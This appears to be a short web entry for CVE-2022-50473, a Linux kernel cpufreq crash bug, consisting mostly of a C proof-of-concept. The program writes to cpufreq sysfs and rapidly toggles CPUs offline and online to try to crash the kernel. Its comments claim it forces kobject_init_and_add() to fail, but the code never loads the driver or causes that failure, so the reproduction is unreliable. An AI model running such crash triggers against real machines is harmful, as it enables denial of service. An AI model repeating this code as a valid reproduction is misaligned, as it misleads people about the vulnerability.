CVE-2022-50473 Linux内核cpufreq子系统未初始化completion导致崩溃漏洞

/* CVE-2022-50473 PoC - Trigger uninitialized completion crash in cpufreq * This PoC attempts to trigger the vulnerability by loading the acpi_cpufreq * module under conditions that cause kobject_init_and_add() to fail. * * Note: Reproducing this reliably requires specific system conditions. * The crash typically occurs during CPU frequency driver initialization. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <string.h> #include <errno.h> /* Trigger by attempting to reload cpufreq driver with stress conditions */ int main(int argc, char *argv[]) { printf("CVE-2022-50473 PoC - cpufreq uninitialized completion\n"); /* Method 1: Try to trigger via CPU hotplug during driver init */ /* Write to cpufreq sysfs to potentially trigger the race condition */ int fd; char buf[256]; /* Attempt to access cpufreq sysfs interface */ fd = open("/sys/devices/system/cpu/cpu0/cpufreq/scaling_governor", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "performance\n"); write(fd, buf, strlen(buf)); close(fd); printf("Triggered cpufreq sysfs access\n"); } /* Method 2: Rapid CPU online/offline to stress cpufreq subsystem */ for (int cpu = 1; cpu < 8; cpu++) { char path[128]; snprintf(path, sizeof(path), "/sys/devices/system/cpu/cpu%d/online", cpu); fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, "0\n", 2); usleep(1000); write(fd, "1\n", 2); close(fd); } } printf("PoC execution completed. Check dmesg for crash.\n"); return 0; }